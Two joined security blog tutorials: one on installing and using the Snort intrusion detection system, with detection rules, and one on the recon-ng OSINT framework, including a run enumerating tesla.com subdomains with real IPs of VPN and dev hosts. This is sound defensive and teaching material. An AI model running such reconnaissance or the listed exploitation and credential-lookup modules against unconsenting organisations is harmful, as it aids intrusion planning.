Snort uses rules to analyze network traffic discover potential threats or network anomalies. Alerts can be dispatched to an analyst or trigger remediation scripts or other actions.

Snort is widely used by Blue Teams protecting networks of all sizes and is considered a robust part of network security infrastructure. Cisco purchased the snort project in 2013 and incorporated it in its Sourcefire line of products. The core snort software remains open source with a GPL2+ license.

Common Use Cases for Snort

Snort can be used in a variety of scenarios to protect networks from cyber threats. Some practical use cases for Snort include:

Detecting and blocking network attacks

Snort can be used to detect and block network-based attacks, such as denial of service (DoS) attacks, SQL injection or network service attacks such as the well known ETERNALBLUE exploit. Snort will analyze network traffic in real-time, alerting and potentially taking action to prevent the attack from succeeding.

Monitoring network traffic for suspicious activity

Snort can be used to monitor network traffic for any suspicious activity, such as an unusually high amount of traffic; think multiple Microsoft Remote Desktop (RDP) logins or High number of HTTP POST requests. This can help identify potential security threats allowing the network administrator assess a potential incident.

Detecting and blocking malware

Snort can be configured to use a set of rules that are designed to detect known implants or malware signatures. Common examples would be Cobal Strike (installer / C2 traffic) and the Metasploit based Meterpreter. When malware is detected, Snort can alert the network administrator or trigger actions to mitigate damage from the malware.

These are the most common use cases for a snort deployment. It should be kept in mind that due to the ability to create custom rules, the possibilities for what Snort can monitor and alert on is endless.

Installing Snort 2.9 on Ubuntu

In order to get started with Snort easily, we recommend starting with Snort 2.9 which is available in the Ubuntu 22.04 repositories. Installation is a simple matter of the standard apt-get install.

:-$ sudo apt install snort

Using this method ensures you have a production ready version that is easy to maintain and update when required through the standard update processes.

:-$ snort --version

   ,,_     -*> Snort! <*-
  o"  )~   Version 2.9.15.1 GRE (Build 15125) 
   ''''    By Martin Roesch & The Snort Team: http://www.snort.org/contact#team
           Copyright (C) 2014-2019 Cisco and/or its affiliates. All rights reserved.
           Copyright (C) 1998-2013 Sourcefire, Inc., et al.
           Using libpcap version 1.10.1 (with TPACKET_V3)
           Using PCRE version: 8.39 2016-06-14
           Using ZLIB version: 1.2.11

Snort 3 with Docker

Using the Cisco Talos docker container is the fastest way to get Snort 3 up and running. Primarily suited for initial testing, the docker container has a full snort installation and can be used to quickly process a network capture (pcap) within a few minutes.

Snort 3 comes with a number of new capabilities and features. Jump in with the following docker commands.

:-$ sudo docker pull ciscotalos/snort3
:-$ sudo docker run --name snort3 -h snort3 -u snorty -w /home/snorty -d -it ciscotalos/snort3 bash
:-$ sudo docker exec -it snort3 bash

Installing Snort 3 on Ubuntu

As snort 3 does not come as packaged binaries it is necessary to install from source to deploy on Ubuntu.

The full installation guide is available from the snort.org website. Specifically for Ubuntu deployments you will need the following required packages.

:-$ sudo apt install build-essential libpcap-dev libpcre3-dev libnet1-dev zlib1g-dev luajit hwloc libdnet-dev \
libdumbnet-dev bison flex liblzma-dev openssl libssl-dev pkg-config libhwloc-dev cmake cpputest libsqlite3-dev uuid-dev \
libcmocka-dev libnetfilter-queue-dev libmnl-dev autotools-dev libluajit-5.1-dev libunwind-dev libfl-dev

Getting the Rules

The rules can be downloaded from snort.org and are available as the Community Rule set, as well as the official Cisco rules. The official rules require a free registration (30 day delay) or a paid subscription for immediate access to newly released rules.

While the community rules are an excellent resource the official rules are essential for getting good coverage and registration or a subscription should be done.

In addition there are excellent rules available from Emerging Threats (Proofpoint) with the option of Free or a Paid for offering.

Oinkcodes - Automate Rule Downloads

The Oinkcode is an API key associated with a registered account. Using the oinkcode you are able to access the rule updates programatically using a tool such as Pulled Pork.

Working Snort 3 Installation

Whichever version or method you are using running the following confirms that snort is installed and ready to go:

snorty@snort3:~$ snort --version

   ,,_     -*> Snort++ <*-
  o"  )~   Version 3.0.0 (Build 267)
   ''''    By Martin Roesch & The Snort Team
           http://snort.org/contact#team
           Copyright (C) 2014-2019 Cisco and/or its affiliates. All rights reserved.
           Copyright (C) 1998-2013 Sourcefire, Inc., et al.
           Using DAQ version 3.0.0
           Using LuaJIT version 2.1.0-beta3
           Using OpenSSL 1.1.1d  10 Sep 2019
           Using libpcap version 1.8.1
           Using PCRE version 8.39 2016-06-14
           Using ZLIB version 1.2.11
           Using Hyperscan version 5.1.0 2019-01-31
           Using LZMA version 5.2.4

snorty@snort3:~$ 

Practical Examples

These examples show a number of practical uses for snort as a command line tool and demonstrates how the system works in a hands on capacity.

1. Capture on Local Interface with Snort

In this mode, Snort reads packets from the network interface and compares them to the set of rules specified in the configuration file.

:~$ snort -c /etc/snort/snort.conf -i eth0

2. Analyse Packets from a PCAP File

You can use Snort to read packets from a PCAP file.

:~$ snort -r file.pcap -c /etc/snort/snort.conf

3. Test Snort Configuration File

This command tests your Snort configuration and rules for errors.

:~$ snort -T -c /etc/snort/snort.conf

4. Log Traffic to a pcap File

Output options are configured in the snort.conf file. Logging to pcap can be configured in the file or we can use the command line option below to write the pcap.

Read packets from the configured network interface and write to a pcap file.

:~$ snort -b -L packets.pcap

5. A simple test rule to ensure Snort is working as expected

To test everything is working and to understand how the alerting / logging works lets create a simple rule that we can trigger at any time.

Edit the file /etc/snort/rules/local.rules and put the following line at the end.

alert icmp any any -> any any (msg:"ICMP connection attempt"; sid:1000010; rev:1;)

This rule will detect any use of the icmp protocol (second entry in rule). That matches the source / dest (any -> any variable), and will then use the msg: as the alert text.

The following example is a bit different to previous. It says to print the alerts to the console (-A console) and uses the (-q) parameter to be quiet. Stopping the debugging and startup information from appearing and providing clean output. We can specify the local.rules file as the config or the snort.conf (as it should be including the local.rules file).

:~$ snort -q -A console -c /etc/snort/local.rules

If you ping the host or network that is listening you should see the alerts printed to the console.

05/25-10:50:00.887913  [**] [1:1000002:1] ICMP connection attempt [**] [Priority: 0] {ICMP} 10.1.1.33 -> 10.1.1.44
05/25-10:50:00.888003  [**] [1:1000002:1] ICMP connection attempt [**] [Priority: 0] {ICMP} 10.1.1.44 -> 10.1.1.33

6. Reject and Drop Rules

Using our previous test rule for icmp we are able to demonstrate the drop and reject options for rules. To demostrate we will simply replace the alert with reject. The sid will also be incremented otherwise there will be an error when starting with two rules with the same sid.

reject icmp any any -> $HOME_NET any (msg:"ICMP connection attempt"; sid:1000011; rev:1;)

Restarting snort and running the same ping -c 2 10.1.1.44 we will receieve the following output:

:~$ ping -c 2 10.1.1.44
PING 10.1.1.44 (10.1.1.44) 56(84) bytes of data.
64 bytes from 10.1.1.44: icmp_seq=1 ttl=64 time=1.25 ms
From 10.1.1.44 icmp_seq=1 Destination Port Unreachable

The first packet gets a response, however the subsequent packet is rejected with an icmp port unreachable.

The rule options are available here -> http://manual.snort.org/node29.html

Using the reject option causes snort to send a TCP reset or an ICMP port unreachable packet, that will break the session. Using drop and sdrop will only work if Snort is running inline as it does as advertised and simply will drop the packets in this mode.

7. Filtering on the Command Line with BPF

Similar to tcpdump we can provide BPF filters on the command line to limit the traffic we are inspecting and capturing. The following example limits captured traffic to a single host, that can be the source or destination.

:~$ snort -q -A console -c /etc/snort/snort.conf host 10.1.1.33

8. Enable app-detect.rules and Know the Network

After copying the official rules into the /etc/snort/rules/, quite a lot of rules are actually disabled. This is due to the fact that the default configuration is trying to balance alert noise vs coverage. It is up to the administrator to enable many of the rules.

An interesting set of rules to look at when getting started is the app-detect.rules these detect many types of application on the network - many of those that have remote control features often used by attackers but also legitimitaly.

:~$ sudo grep app-detect /etc/snort/snort.conf 
#include $RULE_PATH/app-detect.rules

Firstly the configuration file has the rule file disabled. Furthermore the app-detect.rules rules are disabled by default.

# alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"APP-DETECT VNC server response"; flow:established; content:"RFB 0"; depth:5; content:".0"; depth:2; offset:7; metadata:ruleset community; classtype:misc-activity; sid:560; rev:9;)

This is an interesting rule, VNC is an application that allows GUI access to a console. While VNC can be used by administrators it is also used by attackers. An example is the payloads for VNC found within Metasploit.

So this is an example of the app-detect.rules that we want to enable by removing the '#' from the start of the line.

9. Enable malware rules

Another set of rules that are disabled by default in the Ubuntu package are the malware-rules. We want to enable these as they will provide coverage of attacker favorites such as Cobalt Strike beacons or installers.

:~$ sudo grep malware /etc/snort/snort.conf 
#include $RULE_PATH/malware-backdoor.rules
#include $RULE_PATH/malware-cnc.rules
#include $RULE_PATH/malware-other.rules
#include $RULE_PATH/malware-tools.rules

Remove the comment from the start of these lines to enable the use of the malware rules.

These rules contain detections for interesting tools such as Cobalt Strike and Meterpreter. If these are triggering on the internal network you will certainly want to know about it.

Conclusion

Snort has been around for 25 years and is still a powerful and effective tool for those who defend networks from threats. The above tutorial and examples are not intended to cover everything but to give you a practical starting point from which to build up your Snort skillset and build some key knowledge for when planning a deployment.

Even if you do not plan on throwing it on a network immediately, being able to quickly spin up a docker container or an install can be very helpful. Run it over some pcaps from the network or an incident and you may just find some bread crumbs to follow.

In recent years the trend has moved from Network Intrusion Detection (nids) to Endpoint Detection and Response (edr). This makes sense with increasingly encrypted network traffic. However, snort and other network tools still give visibility to a great deal of interestings on the wire and not everything runs an EDR client.

The post Snort Tutorial and Practical Examples appeared first on HackerTarget.com.

In this recon-ng tutorial, discover open source intelligence and easily pivot to new results. Using a modular approach, collect and dig deeper into extracted data.

What is Recon-ng?

Recon-ng is a reconnaissance / OSINT tool with an interface similar to Metasploit. Running recon-ng from the command line speeds up the recon process as it automates gathering information from open sources.

Recon-ng has a variety of options to configure, perform recon, and output results to different report types.

Recon-ng Installation

Installing Recon-ng is very simple and there are a few common ways. Below are a few examples;

Kali:

At the time of this article version 5.1.2 comes pre-installed with Kali Linux. Having said that, its good to run apt-get update && apt-get install recon-ng to ensure latest dependencies installed.

Ubuntu:

Requires git and pip installed.

test@ubuntu:~/$ git clone https://github.com/lanmaster53/recon-ng.git
test@ubuntu:~/$ cd recon-ng
test@ubuntu:~/recon-ng/$ pip install -r REQUIREMENTS

Next to run recon-ng;

test@ubuntu:~/recon-ng/$ ./recon-ng

The Recon-NG console is now loaded.

    _/_/_/    _/_/_/_/    _/_/_/    _/_/_/    _/      _/            _/      _/    _/_/_/
   _/    _/  _/        _/        _/      _/  _/_/    _/            _/_/    _/  _/       
  _/_/_/    _/_/_/    _/        _/      _/  _/  _/  _/  _/_/_/_/  _/  _/  _/  _/  _/_/_/
 _/    _/  _/        _/        _/      _/  _/    _/_/            _/    _/_/  _/      _/ 
_/    _/  _/_/_/_/    _/_/_/    _/_/_/    _/      _/            _/      _/    _/_/_/    
                                                                                        

                                          /\
                                         / \\ /\
    Sponsored by...               /\  /\/  \\V  \/\
                                 / \\/ // \\\\\ \\ \/\
                                // // BLACK HILLS \/ \\
                               www.blackhillsinfosec.com

                  ____   ____   ____   ____ _____ _  ____   ____  ____
                 |____] | ___/ |____| |       |   | |____  |____ |
                 |      |   \_ |    | |____   |   |  ____| |____ |____
                                   www.practisec.com

                      [recon-ng v5.1.2, Tim Tomes (@lanmaster53)]                       

[*] No modules enabled/installed.

[recon-ng][default] > 

Using recon-ng

From the console it is easy to get help and get started with your recon.

[recon-ng][default] > help

Commands (type [help|?] ):
---------------------------------
back            Exits the current context
dashboard       Displays a summary of activity
db              Interfaces with the workspace's database
exit            Exits the framework
help            Displays this menu
index           Creates a module index (dev only)
keys            Manages third party resource credentials
marketplace     Interfaces with the module marketplace
modules         Interfaces with installed modules
options         Manages the current context options
pdb             Starts a Python Debugger session (dev only)
script          Records and executes command scripts
shell           Executes shell commands
show            Shows various framework items
snapshots       Manages workspace snapshots
spool           Spools output to a file
workspaces      Manages workspaces

Recon-ng begins with an empty framework. No modules enabled or installed.

[*] No modules enabled/installed.

How to use Recon-ng:

Create a Workspace

There is a lot of options when using this OSINT tool. Maintaining collected information and notes organised is a necessary part of any OSINT investigation. Creating a workspaces keeps things orderly and easy to find. When using Recon-ng workspaces, all data located and collected is saved within a database in that workspace.

[recon-ng][default] >  workspaces create example_name 

[recon-ng][default] > workspaces create example_name
[recon-ng][example_name] > 

The command recon-ng -w example_name opens or returns directly to that workspace.

test@ubuntu:~/$ recon-ng -w example_name 

[recon-ng][example_name] > 

Recon-ng Marketplace and Modules

Here again the help comes in handy marketplace help shows commands for removing modules, how to find more info, search, refresh and install.

[recon-ng][default] > marketplace help
Interfaces with the module marketplace

Usage: marketplace info|install|refresh|remove|search [...] 

Typing marketplace search displays a list of all the modules. From which you can start following the white rabbit exploring and getting deeper into recon and open source intelligence.

Recon-ng modules

Modules are grouped together under various categories and can be found searching on marketplace

- discovery
- exploitation
- import
- recon
- reporting

Each of the above have sub categories as shown in the table below. Use marketplace search for a full table providing information on version, status (installed or not-installed), date updated, dependencies or require keys.

[recon-ng][example_name] > marketplace search

  +---------------------------------------------------------------------------------------------------+
  |                        Path                        | Version |     Status    |  Updated   | D | K |
  +---------------------------------------------------------------------------------------------------+
  | discovery/info_disclosure/cache_snoop              | 1.1     | not installed | 2020-10-13 |   |   |
  | discovery/info_disclosure/interesting_files        | 1.2     | not installed | 2021-10-04 |   |   |
  | exploitation/injection/command_injector            | 1.0     | not installed | 2019-06-24 |   |   |
  | exploitation/injection/xpath_bruter                | 1.2     | not installed | 2019-10-08 |   |   |
  | import/csv_file                                    | 1.1     | not installed | 2019-08-09 |   |   |
  | import/list                                        | 1.1     | not installed | 2019-06-24 |   |   |
  | import/masscan                                     | 1.0     | not installed | 2020-04-07 |   |   |
  | import/nmap                                        | 1.1     | not installed | 2020-10-06 |   |   |
  | recon/companies-contacts/bing_linkedin_cache       | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/companies-contacts/censys_email_address      | 2.0     | not installed | 2021-05-11 | * | * |
  | recon/companies-contacts/pen                       | 1.1     | not installed | 2019-10-15 |   |   |
  | recon/companies-domains/censys_subdomains          | 2.0     | not installed | 2021-05-10 | * | * |
  | recon/companies-domains/pen                        | 1.1     | not installed | 2019-10-15 |   |   |
  | recon/companies-domains/viewdns_reverse_whois      | 1.1     | not installed | 2021-08-24 |   |   |
  | recon/companies-domains/whoxy_dns                  | 1.1     | not installed | 2020-06-17 |   | * |
  | recon/companies-hosts/censys_org                   | 2.0     | not installed | 2021-05-11 | * | * |
  | recon/companies-hosts/censys_tls_subjects          | 2.0     | not installed | 2021-05-11 | * | * |
  | recon/companies-multi/github_miner                 | 1.1     | not installed | 2020-05-15 |   | * |
  | recon/companies-multi/shodan_org                   | 1.1     | not installed | 2020-07-01 | * | * |
  | recon/companies-multi/whois_miner                  | 1.1     | not installed | 2019-10-15 |   |   |
  | recon/contacts-contacts/abc                        | 1.0     | not installed | 2019-10-11 | * |   |
  | recon/contacts-contacts/mailtester                 | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/contacts-contacts/mangle                     | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/contacts-contacts/unmangle                   | 1.1     | not installed | 2019-10-27 |   |   |
  | recon/contacts-credentials/hibp_breach             | 1.2     | not installed | 2019-09-10 |   | * |
  | recon/contacts-credentials/hibp_paste              | 1.1     | not installed | 2019-09-10 |   | * |
  | recon/contacts-domains/migrate_contacts            | 1.1     | not installed | 2020-05-17 |   |   |
  | recon/contacts-profiles/fullcontact                | 1.1     | not installed | 2019-07-24 |   | * |
  | recon/credentials-credentials/adobe                | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/credentials-credentials/bozocrack            | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/credentials-credentials/hashes_org           | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/domains-companies/censys_companies           | 2.0     | not installed | 2021-05-10 | * | * |
  | recon/domains-companies/pen                        | 1.1     | not installed | 2019-10-15 |   |   |
  | recon/domains-companies/whoxy_whois                | 1.1     | not installed | 2020-06-24 |   | * |
  | recon/domains-contacts/hunter_io                   | 1.3     | not installed | 2020-04-14 |   | * |
  | recon/domains-contacts/metacrawler                 | 1.1     | not installed | 2019-06-24 | * |   |
  | recon/domains-contacts/pen                         | 1.1     | not installed | 2019-10-15 |   |   |
  | recon/domains-contacts/pgp_search                  | 1.4     | not installed | 2019-10-16 |   |   |
  | recon/domains-contacts/whois_pocs                  | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/domains-contacts/wikileaker                  | 1.0     | not installed | 2020-04-08 |   |   |
  | recon/domains-credentials/pwnedlist/account_creds  | 1.0     | not installed | 2019-06-24 | * | * |
  | recon/domains-credentials/pwnedlist/api_usage      | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/domains-credentials/pwnedlist/domain_creds   | 1.0     | not installed | 2019-06-24 | * | * |
  | recon/domains-credentials/pwnedlist/domain_ispwned | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/domains-credentials/pwnedlist/leak_lookup    | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/domains-credentials/pwnedlist/leaks_dump     | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/domains-domains/brute_suffix                 | 1.1     | not installed | 2020-05-17 |   |   |
  | recon/domains-hosts/binaryedge                     | 1.2     | not installed | 2020-06-18 |   | * |
  | recon/domains-hosts/bing_domain_api                | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/domains-hosts/bing_domain_web                | 1.1     | not installed | 2019-07-04 |   |   |
  | recon/domains-hosts/brute_hosts                    | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/domains-hosts/builtwith                      | 1.1     | not installed | 2021-08-24 |   | * |
  | recon/domains-hosts/censys_domain                  | 2.0     | not installed | 2021-05-10 | * | * |
  | recon/domains-hosts/certificate_transparency       | 1.2     | not installed | 2019-09-16 |   |   |
  | recon/domains-hosts/google_site_web                | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/domains-hosts/hackertarget                   | 1.1     | not installed | 2020-05-17 |   |   |
  | recon/domains-hosts/mx_spf_ip                      | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/domains-hosts/netcraft                       | 1.1     | not installed | 2020-02-05 |   |   |
  | recon/domains-hosts/shodan_hostname                | 1.1     | not installed | 2020-07-01 | * | * |
  | recon/domains-hosts/spyse_subdomains               | 1.1     | not installed | 2021-08-24 |   | * |
  | recon/domains-hosts/ssl_san                        | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/domains-hosts/threatcrowd                    | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/domains-hosts/threatminer                    | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/domains-vulnerabilities/ghdb                 | 1.1     | not installed | 2019-06-26 |   |   |
  | recon/domains-vulnerabilities/xssed                | 1.1     | not installed | 2020-10-18 |   |   |
  | recon/hosts-domains/migrate_hosts                  | 1.1     | not installed | 2020-05-17 |   |   |
  | recon/hosts-hosts/bing_ip                          | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/hosts-hosts/censys_hostname                  | 2.0     | not installed | 2021-05-10 | * | * |
  | recon/hosts-hosts/censys_ip                        | 2.0     | not installed | 2021-05-10 | * | * |
  | recon/hosts-hosts/censys_query                     | 2.0     | not installed | 2021-05-10 | * | * |
  | recon/hosts-hosts/ipinfodb                         | 1.2     | not installed | 2021-08-24 |   | * |
  | recon/hosts-hosts/ipstack                          | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/hosts-hosts/resolve                          | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/hosts-hosts/reverse_resolve                  | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/hosts-hosts/ssltools                         | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/hosts-hosts/virustotal                       | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/hosts-locations/migrate_hosts                | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/hosts-ports/binaryedge                       | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/hosts-ports/shodan_ip                        | 1.2     | not installed | 2020-07-01 | * | * |
  | recon/locations-locations/geocode                  | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/locations-locations/reverse_geocode          | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/locations-pushpins/flickr                    | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/locations-pushpins/shodan                    | 1.1     | not installed | 2020-07-07 | * | * |
  | recon/locations-pushpins/twitter                   | 1.1     | not installed | 2019-10-17 |   | * |
  | recon/locations-pushpins/youtube                   | 1.2     | not installed | 2020-09-02 |   | * |
  | recon/netblocks-companies/censys_netblock_company  | 2.0     | not installed | 2021-05-11 | * | * |
  | recon/netblocks-companies/whois_orgs               | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/netblocks-hosts/censys_netblock              | 2.0     | not installed | 2021-05-10 | * | * |
  | recon/netblocks-hosts/reverse_resolve              | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/netblocks-hosts/shodan_net                   | 1.2     | not installed | 2020-07-21 | * | * |
  | recon/netblocks-hosts/virustotal                   | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/netblocks-ports/census_2012                  | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/netblocks-ports/censysio                     | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/ports-hosts/migrate_ports                    | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/ports-hosts/ssl_scan                         | 1.1     | not installed | 2021-08-24 |   |   |
  | recon/profiles-contacts/bing_linkedin_contacts     | 1.2     | not installed | 2021-08-24 |   | * |
  | recon/profiles-contacts/dev_diver                  | 1.1     | not installed | 2020-05-15 |   |   |
  | recon/profiles-contacts/github_users               | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/profiles-profiles/namechk                    | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/profiles-profiles/profiler                   | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/profiles-profiles/twitter_mentioned          | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/profiles-profiles/twitter_mentions           | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/profiles-repositories/github_repos           | 1.1     | not installed | 2020-05-15 |   | * |
  | recon/repositories-profiles/github_commits         | 1.0     | not installed | 2019-06-24 |   | * |
  | recon/repositories-vulnerabilities/gists_search    | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/repositories-vulnerabilities/github_dorks    | 1.0     | not installed | 2019-06-24 |   | * |
  | reporting/csv                                      | 1.0     | not installed | 2019-06-24 |   |   |
  | reporting/html                                     | 1.0     | not installed | 2019-06-24 |   |   |
  | reporting/json                                     | 1.0     | not installed | 2019-06-24 |   |   |
  | reporting/list                                     | 1.0     | not installed | 2019-06-24 |   |   |
  | reporting/proxifier                                | 1.0     | not installed | 2019-06-24 |   |   |
  | reporting/pushpin                                  | 1.0     | not installed | 2019-06-24 |   | * |
  | reporting/xlsx                                     | 1.0     | not installed | 2019-06-24 |   |   |
  | reporting/xml                                      | 1.1     | not installed | 2019-06-24 |   |   |
  +---------------------------------------------------------------------------------------------------+

  D = Has dependencies. See info for details.
  K = Requires keys. See info for details.

Marketplace search brings up the full table, however you can be more specific in your search, a couple of examples

recon-ng][default] >marketplace search ssl
[*] Searching module index for 'ssl'...

  +----------------------------------------------------------------------------+
  |             Path            | Version |     Status    |  Updated   | D | K |
  +----------------------------------------------------------------------------+
  | recon/domains-hosts/ssl_san | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/hosts-hosts/ssltools  | 1.0     | not installed | 2019-06-24 |   |   |
  | recon/ports-hosts/ssl_scan  | 1.1     | not installed | 2021-08-24 |   |   |
  +----------------------------------------------------------------------------+

  D = Has dependencies. See info for details.
  K = Requires keys. See info for details.

[recon-ng][default] > 

To find out more info on a specific module

[recon-ng][default] > marketplace info ssltools 

  +---------------------------------------------------------------------------------------+
  | path          | recon/hosts-hosts/ssltools                                                                                                                                                                                 |
  | name          | SSLTools.com Host Name Lookups                                                                                                                                                                             |
  | author        | Tim Maletic (borrowing from the ssl_san module by Zach Graces)                                                                                                                                             |
  | version       | 1.0                                                                                                                                                                                                        |
  | last_updated  | 2019-06-24                                                                                                                                                                                                 |
  | description   | Uses the ssltools.com site to obtain host names from a site's SSL certificate metadata to update the 'hosts' table.  Security issues with the certificate trust are pushed to the 'vulnerabilities' table. |
  | required_keys | []                                                                                                                                                                                                         |
  | dependencies  | []                                                                                                                                                                                                         |
  | files         | []                                                                                                                                                                                                         |
  | status        | not installed                                                                                                                                                                                              |
  +------------------------------------------------------------------------------------+

[recon-ng][default] > 

As noted above Hackertarget has a module. This will be used as an example on how to use recon-ng.

Recon-ng example

As an example on how to use Recon-ng, hackertarget has a module to gather subdomains recon/domains-hosts/hackertarget. This module uses the Hackertarget API and hostname search.

Install module

To install this module use the following:

[recon-ng][default] > marketplace install hackertarget
[*] Module installed: recon/domains-hosts/hackertarget
[*] Reloading modules...
[recon-ng][default] > 

Load module

[recon-ng][default] > modules load hackertarget
[recon-ng][default][hackertarget] > 

Module Help

The help command from within a loaded module has different options to the global 'help'.
When you are ready to explore more modules use 'back'.

[recon-ng][default][hackertarget] > help

Commands (type [help|?] ):
---------------------------------
back            Exits the current context
dashboard       Displays a summary of activity
db              Interfaces with the workspace's database
exit            Exits the framework
goptions        Manages the global context options
help            Displays this menu
info            Shows details about the loaded module
input           Shows inputs based on the source option
keys            Manages third party resource credentials
modules         Interfaces with installed modules
options         Manages the current context options
pdb             Starts a Python Debugger session (dev only)
reload          Reloads the loaded module
run             Runs the loaded module
script          Records and executes command scripts
shell           Executes shell commands
show            Shows various framework items
spool           Spools output to a file

[recon-ng][default][hackertarget] > 

Set source

Using show options, brings a table showing the source current value set at default.

[recon-ng][default][hackertarget] > show options

  Name    Current Value  Required  Description
  ------  -------------  --------  -----------
  SOURCE  default        yes       source of input (see 'show info' for details)

Now, set the source to the name of the domain investigating. This example uses tesla.com as they have a published big bounty.

Use command options set SOURCE tesla.com

[recon-ng][default][hackertarget] > options set SOURCE tesla.com
SOURCE => tesla.com

Use command info. This shows current value has changed to tesla.com

[recon-ng][default][hackertarget] > info

Options:
  Name    Current Value  Required  Description
  ------  -------------  --------  -----------
  SOURCE  tesla.com      yes       source of input (see 'info' for details)

Source Options:
  default      SELECT DISTINCT domain FROM domains WHERE domain IS NOT NULL
  string       string representing a single input
  path         path to a file containing a list of inputs
  query sql    database query returning one column of inputs

Use input to see

[recon-ng][default][hackertarget] > input

  +---------------+
  | Module Inputs |
  +---------------+
  | tesla.com     |
  +---------------+

Run the module

Type run to execute the module.

[recon-ng][default][hackertarget] > run

---------
TESLA.COM
---------
[*] Host: tesla.com
[*] Ip_Address: 104.119.104.74
[*] --------------------------------------------------
[*] Host: o7.ptr6980.tesla.com
[*] Ip_Address: 149.72.144.42
[*] --------------------------------------------------
[*] Host: vpn1.tesla.com
[*] Ip_Address: 8.45.124.215
[*] --------------------------------------------------
[*] Host: apacvpn1.tesla.com
[*] Ip_Address: 8.244.131.215
[*] --------------------------------------------------
[*] Host: cnvpn1.tesla.com
[*] Ip_Address: 114.141.176.215
[*] --------------------------------------------------
[*] Host: vpn2.tesla.com
[*] Ip_Address: 8.47.24.215
[*] --------------------------------------------------
[*] Host: model3.tesla.com
[*] Ip_Address: 205.234.27.221
[*] --------------------------------------------------
[*] Host: o3.ptr1444.tesla.com
[*] Ip_Address: 149.72.152.236
[*] --------------------------------------------------
[*] Host: o2.ptr556.tesla.com
[*] Ip_Address: 149.72.134.64
[*] --------------------------------------------------
[*] Host: o5.ptr8466.tesla.com
[*] Ip_Address: 149.72.172.170
[*] --------------------------------------------------
[*] Host: o6.ptr9437.tesla.com
[*] Ip_Address: 168.245.123.10
[*] --------------------------------------------------
[*] Host: o4.ptr1867.tesla.com
[*] Ip_Address: 149.72.163.58
[*] --------------------------------------------------
[*] Host: marketing.tesla.com
[*] Ip_Address: 13.111.47.196
[*] --------------------------------------------------
[*] Host: o1.ptr2410.link.tesla.com
[*] Ip_Address: 149.72.247.52
[*] --------------------------------------------------
[*] Host: referral.tesla.com
[*] Ip_Address: 72.10.32.90
[*] --------------------------------------------------
[*] Host: mta2.email.tesla.com
[*] Ip_Address: 13.111.4.231
[*] --------------------------------------------------
[*] Host: mta.email.tesla.com
[*] Ip_Address: 13.111.14.190
[*] --------------------------------------------------
[*] Host: xmail.tesla.com
[*] Ip_Address: 204.74.99.100
[*] --------------------------------------------------
[*] Host: comparison.tesla.com
[*] Ip_Address: 64.125.183.133
[*] --------------------------------------------------
[*] Host: apacvpn.tesla.com
[*] Ip_Address: 8.244.67.215
[*] --------------------------------------------------
[*] Host: cnvpn.tesla.com
[*] Ip_Address: 103.222.41.215
[*] --------------------------------------------------
[*] Host: emails.tesla.com
[*] Ip_Address: 13.111.18.27
[*] --------------------------------------------------
[*] Host: mta2.emails.tesla.com
[*] Ip_Address: 13.111.88.1
[*] --------------------------------------------------
[*] Host: mta3.emails.tesla.com
[*] Ip_Address: 13.111.88.2
[*] --------------------------------------------------
[*] Host: mta4.emails.tesla.com
[*] Ip_Address: 13.111.88.52
[*] --------------------------------------------------
[*] Host: mta5.emails.tesla.com
[*] Ip_Address: 13.111.88.53
[*] --------------------------------------------------
[*] Host: mta.emails.tesla.com
[*] Ip_Address: 13.111.62.118
[*] --------------------------------------------------
[*] Host: click.emails.tesla.com
[*] Ip_Address: 13.111.48.179
[*] --------------------------------------------------
[*] Host: view.emails.tesla.com
[*] Ip_Address: 13.111.49.179
[*] --------------------------------------------------
[*] Host: itanswers.tesla.com
[*] Ip_Address: 204.74.99.100
[*] --------------------------------------------------
[*] Host: events.tesla.com
[*] Ip_Address: 13.111.47.195
[*] --------------------------------------------------
[*] Host: www-uat.tesla.com
[*] Ip_Address: 199.66.9.47
[*] --------------------------------------------------
[*] Host: shop.eu.tesla.com
[*] Ip_Address: 205.234.27.221
[*] --------------------------------------------------
[*] Host: mfamobile-dev.tesla.com
[*] Ip_Address: 205.234.27.209
[*] --------------------------------------------------
[*] Host: mfauser-dev.tesla.com
[*] Ip_Address: 205.234.27.209
[*] --------------------------------------------------


-------
SUMMARY
-------
[*] 35 total (35 new) hosts found.

Show hosts

Now we have begun to populate our hosts. Typing show hosts will give you a summary of the resources discovered.

[recon-ng][default][hackertarget] > show hosts
